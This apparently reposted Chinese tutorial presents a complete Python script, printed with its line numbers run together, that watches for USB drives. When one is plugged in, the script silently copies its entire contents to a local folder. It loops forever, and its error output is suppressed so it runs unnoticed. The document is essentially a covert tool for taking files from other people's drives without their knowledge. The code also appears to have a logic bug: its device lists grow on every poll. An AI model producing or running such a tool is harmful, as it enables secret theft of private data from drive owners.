技术要点分析:
1、监控USB端口,判断是否有U盘插入
2、copyU盘数据到本地
所需库:
import psutil # 监控系统状态
import shutil # copy文件
完整代码:
1 # -*- coding:utf-8 -*- 2 import psutil 3 import sys 4 import os 5 import shutil 6 import time 7 8 local_device = [] 9 mobile_device = [] 10 local_number = 0 11 mobile_number = 0 12 SAVE_path = ["D:\\cs", 0] 13 14 15 # 更新usb端口状态 16 def update(): 17 tmp_local_number = 0 18 tmp_mobile_number = 0 19 try: 20 part = psutil.disk_partitions() 21 except: 22 # print("程序异常") 23 sys.exit() 24 for i in range(len(part)): 25 tmp_list = part[i].opts.split(',') 26 if "fixed" in tmp_list: 27 tmp_local_number = tmp_local_number + 1 28 local_device.append(part[i].device) 29 elif "removable" in tmp_list: 30 tmp_mobile_number = tmp_mobile_number + 1 31 mobile_device.append(part[i].device) 32 pass 33 pass 34 return [len(part), tmp_local_number, tmp_mobile_number] 35 36 37 # 复制文件 38 def copy_file(USB_path): 39 save_path = "D:\\cs"+str(int(time.time())) 40 if os.path.exists(USB_path): 41 try: 42 shutil.copytree(USB_path, save_path) 43 except: 44 pass 45 else: 46 time.sleep(10) 47 48 49 if __name__ == '__main__': 50 data = update() 51 now_local_number = 0 52 now_mobile_number = 0 53 before_number = data[0] 54 local_number = data[1] 55 mobile_number = data[2] 56 now_number = 0 57 while True: 58 data = update() 59 now_number = data[0] 60 now_local_number = data[1] 61 now_mobile_number = data[2] 62 if now_mobile_number > mobile_number: 63 if len(mobile_device): 64 copy_file(mobile_device[-1]) 65 else: 66 pass 67 before_number = now_number 68 local_number = now_local_number 69 mobile_number = now_mobile_number 70 elif now_mobile_number < mobile_number: 71 before_number = now_number 72 local_number = now_local_number 73 mobile_number = now_mobile_number 74 pass 75 time.sleep(5)
该文章转自lizaza.cn